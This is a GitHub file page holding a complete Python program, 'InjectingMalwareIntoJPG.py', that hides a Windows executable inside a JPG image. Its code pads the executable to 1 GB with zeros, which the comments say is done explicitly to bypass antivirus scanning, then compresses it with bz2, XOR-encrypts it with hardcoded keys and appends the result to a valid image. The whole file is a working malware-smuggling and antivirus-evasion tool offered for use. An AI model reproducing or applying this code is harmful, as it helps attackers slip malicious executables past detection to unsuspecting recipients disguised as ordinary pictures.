forked from abdulkadir-gungor/JPGtoMalware
-
Notifications
You must be signed in to change notification settings - Fork 0
/
InjectingMalwareIntoJPG.py
289 lines (289 loc) · 12 KB
/
InjectingMalwareIntoJPG.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
#######################################################################################
#
# InjectingMalwareIntoJPG.py (Injecting Malware Into JPG File) [ Main Program ]
# © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: abdulkadir_gungor@outlook.com
#
# Developper: Abdulkadir GÜNGÖR (abdulkadir_gungor@outlook.com)
# Date: 05/2022
# All Rights Reserved (Tüm Hakları Saklıdır)
#
#######################################################################################
from colorama import init, Fore, Back
from ctypes import Structure, c_int, byref, windll
import time, os, bz2
#
#
#
class SETTINGS():
PROGRAM_NAME = "Injecting Malware Into JPG"
JPG_FILE = 'linux.jpg'
EXE_FILE = "malware.exe"
OUT_FILE = "malwareJPG.jpg"
PUPLIC_KEY = b'!AbdUlkadiR%+39608]gunGor[{'
PRIVATE_NUMBER = 19
BUFFER = 1024
FILL_SIZE = 1073741824 # 1024x1024x1024 (1 GB)
WAIT_TIME = 0.1
#
#
#
def setCursor(visible:bool=True):
class CONSOLE_CURSOR_INFO(Structure):
_fields_ = [('dwSize', c_int),
('bVisible', c_int)]
STD_OUTPUT_HANDLE = -11
hStdOut = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
cursorInfo = CONSOLE_CURSOR_INFO()
cursorInfo.dwSize = 1
if visible:
cursorInfo.bVisible = 1
else:
cursorInfo.bVisible = 0
windll.kernel32.SetConsoleCursorInfo(hStdOut, byref(cursorInfo))
#
def strOK():
return '['+Back.GREEN+Fore.LIGHTWHITE_EX+'OK!'+Back.BLACK+Fore.WHITE+']'
#
def strERROR():
return '['+Back.RED+Fore.LIGHTWHITE_EX+'ERROR!'+Back.BLACK+Fore.WHITE+']'
#
def strCHECK():
return '['+Back.YELLOW+Fore.LIGHTWHITE_EX+'CHECK!'+Back.BLACK+Fore.WHITE+']'
#
def consoleTitle(title:str):
os.system("echo off")
os.system("title {title}".format(title=title))
#
def consoleClear():
os.system("echo off")
os.system("cls")
#
def bytesXOR(plain_text, public_key, private_number):
public_number = 3
private_key = b'#$0aSpYt3ehR7%|\&/*QVzX12}-'
len_key = len(public_key)
public_encoded = []
result_encoded = []
return_encoded = []
for i in range(0, len(plain_text)):
public_encoded.append(plain_text[i] ^ public_key[ (i+public_number) % len_key])
private_encoded = bytes([b ^ len(private_key) for b in (bytes(public_encoded))])
for i in range(0, len(private_encoded)):
result_encoded.append(private_encoded[i] ^ private_key[ (i+private_number) % len_key])
for i in range(0, len(result_encoded)):
return_encoded.append(result_encoded[i] ^ public_key[ (i+public_number) % len_key])
return bytes(return_encoded)
#
def screenEntry():
line_c = Fore.MAGENTA
default_c = Fore.LIGHTWHITE_EX
tag_c = Fore.CYAN
print('')
print( '\t'+line_c+'/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\' )
print( '\t'+line_c+'\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/')
print( '\t'+line_c+'/\/\\'+default_c+' '+line_c+'/\/\\')
print( '\t'+line_c+'\/\/ '+tag_c+'<Program>'+default_c+' Injecting_Malware_Into_JPG v1.0 '+tag_c+'</Program> '+line_c+'\/\/')
print( '\t'+line_c+'/\/\\ '+tag_c+'<Date>'+default_c+' 05/2022 '+tag_c+'</Date> '+line_c+'/\/\\')
print( '\t'+line_c+'\/\/'+default_c+' '+line_c+'\/\/')
print( '\t'+line_c+'/\/\\ '+tag_c+'<Developer>'+default_c+' Abdulkadir GÜNGÖR '+tag_c+'</Developer> '+line_c+'/\/\\')
print( '\t'+line_c+'\/\/ '+tag_c+'<Email>'+default_c+' abdulkadir_gungor@outlook.com '+tag_c+'</Email> '+line_c+'\/\/')
print( '\t'+line_c+'/\/\\'+default_c+' '+line_c+'/\/\\')
print( '\t'+line_c+'\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/')
print( '\t'+line_c+'/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\')
print('')
#
def textUpdate(text:str, type:str, newline:bool=False):
setCursor(visible=False)
text_long = 63
#
if newline:
print()
symbol = strCHECK() + " "
if type.lower() == 'error':
symbol = strERROR() + " "
elif type.lower() == 'ok':
symbol = " "+strOK() + " "
elif type.lower() == 'check':
symbol = strCHECK() + " "
tmp_str_format = "{0: <" + str(text_long) + "}"
txt_str = tmp_str_format.format(str(text))
#
print(''' %s%s''' % (symbol,txt_str), end='\r')
#
def malwareIntoJPG(settings):
# ---(0)--- // Variable(s)
textUpdate('Preparing the function',type='check',newline=True)
file_0 = "check_write_access.bin"
file_1 = "buffer_0.bin"
file_2 = "buffer_1.bin"
file_3 = 'buffer_2.bin'
SOI = b'\xff\xd8'
EOI = b'\xff\xd9'
permission_check = True
fill_bytes = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # 16 byte(s)
time.sleep(settings.WAIT_TIME)
textUpdate('The function is working', type='ok')
textUpdate('Checking the existence of files and permissions', type='check', newline=True)
# ---(1)--- // Checking permissions
check_jpg_exist = os.access( settings.JPG_FILE, os.F_OK)
check_exe_exist = os.access( settings.EXE_FILE, os.F_OK)
check_jpg_read = os.access( settings.JPG_FILE, os.R_OK)
check_exe_read = os.access( settings.EXE_FILE, os.R_OK)
try:
tmp0 = open(file=file_0, mode='wb')
tmp0.close()
except:
permission_check = False
check_buffer_exist = os.access( file_0, os.F_OK)
check_buffer_write = os.access( file_0, os.W_OK)
if check_buffer_exist:
try:
os.remove(file_0)
except:
permission_check = False
#
if not check_jpg_exist:
textUpdate('The JPG file not found', type='error')
return False
if not check_exe_exist:
textUpdate('The EXE file not found', type='error')
return False
if not check_jpg_read:
textUpdate('The JPG file could not be opened', type='error')
return False
if not check_exe_read:
textUpdate('The EXE file could not be opened', type='error')
return False
if not check_buffer_exist:
textUpdate('The BUFFER file could not be created', type='error')
return False
if not check_buffer_write:
textUpdate('No write permission to the BUFFER file', type='error')
return False
if not permission_check:
textUpdate('Error occurred with permissions', type='error')
return False
del check_exe_exist, check_exe_read, check_jpg_exist, check_jpg_read
del check_buffer_exist, check_buffer_write, permission_check, file_0
time.sleep(settings.WAIT_TIME)
textUpdate('The files and permissions are available', type='ok')
# ---(2)--- // Checking the jpg file
textUpdate('Checking the JPG file structure', type='check', newline=True)
with open(file=settings.JPG_FILE, mode='rb') as readfile:
jpg_first_bytes = readfile.read(2)
jpg_end_number = readfile.seek(0, 2)
readfile.seek( (jpg_end_number - 2), 0)
jpg_end_bytes = readfile.read(2)
del jpg_end_number
if (jpg_first_bytes != SOI) or (jpg_end_bytes != EOI):
textUpdate('The JPG file structure is not suitable', type='error')
return False
del jpg_first_bytes, jpg_end_bytes
time.sleep(settings.WAIT_TIME)
textUpdate('The JPG file structure is suitable', type='ok')
# ---(3)--- // Increasing exe file size to bypass antivirus
textUpdate('Increasing the EXE file size to bypass antivirus [1GB]', type='check', newline=True)
try:
with open(file=file_1, mode='wb') as wfile:
with open(file=settings.EXE_FILE,mode='rb') as rfile:
rfile_size = rfile.seek(0, 2)
rfile.seek(0,0)
while True:
tmp = rfile.read(settings.BUFFER)
if tmp == b'' :
break
wfile.write(tmp)
for tmp in range( int(((settings.FILL_SIZE - rfile_size)/16)+1) ):
wfile.write(fill_bytes)
del rfile_size, fill_bytes
textUpdate('The EXE file size is increased to bypass antivirus [1GB]', type='ok')
except:
textUpdate('Increasing the EXE file size to bypass antivirus [1GB]', type='error')
return False
# ---(4)--- // The EXE file is compressed.
textUpdate('Compressing the EXE file', type='check', newline=True)
try:
with open(file_1, mode='rb') as rfile:
with bz2.open(filename=file_2, mode='wb', compresslevel=9) as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write(data)
os.remove(file_1)
textUpdate('The EXE file is compressed', type='ok')
except:
textUpdate('Compressing the EXE file', type='error')
return False
# ---(5)--- // Encrypting the EXE file
try:
textUpdate('Encrypting the EXE file', type='check', newline=True)
with open(file_2, mode='rb') as rfile:
with open(file_3, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write( bytesXOR(data, settings.PUPLIC_KEY, settings.PRIVATE_NUMBER))
os.remove(file_2)
time.sleep(settings.WAIT_TIME)
textUpdate('The EXE file is encrypted', type='ok')
except:
textUpdate('Encrypting the EXE file', type='error')
return False
# ---(6)--- // Generating the JPG file containing malware
try:
textUpdate('Generating the JPG file containing malware', type='check', newline=True)
with open(settings.JPG_FILE, mode='rb') as rfile:
with open(settings.OUT_FILE, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write(data)
with open(file_3, mode='rb') as rfile:
with open(settings.OUT_FILE, mode='ab') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'' :
break
wfile.write(data)
with open(settings.OUT_FILE, mode='ab') as wfile:
wfile.write(EOI)
os.remove(file_3)
del SOI, EOI
time.sleep(settings.WAIT_TIME)
textUpdate('The JPG file containing malware was created', type='ok')
return True
except:
textUpdate('Generating the JPG file containing malware', type='error')
return False
###--- Main ---###
if __name__ == '__main__':
consoleTitle(SETTINGS.PROGRAM_NAME)
consoleClear()
init(autoreset=True)
setCursor(visible=False)
while True:
consoleClear()
screenEntry()
print()
setCursor(visible=True)
SETTINGS.JPG_FILE = (input(" "+Fore.LIGHTWHITE_EX+"[JPG] Filename :"+Fore.WHITE+" ")).strip()
SETTINGS.EXE_FILE = (input(" "+Fore.LIGHTWHITE_EX+"[EXE] Filename :"+Fore.WHITE+" ")).strip()
setCursor(visible=False)
res = malwareIntoJPG(SETTINGS)
print()
print()
if res:
print(" "+Back.GREEN+Fore.LIGHTWHITE_EX+" "+"OK!"+" " )
else:
print(" "+Back.RED+Fore.LIGHTWHITE_EX+" "+"ERROR!"+" " )
print()
print()
setCursor(visible=True)
selection = input(" "+Fore.LIGHTWHITE_EX+"[Exit <E>] [Continue <Enter>]\n Selection:"+Fore.WHITE+" ")
setCursor(visible=False)
if (selection.strip()).lower() == "e":
break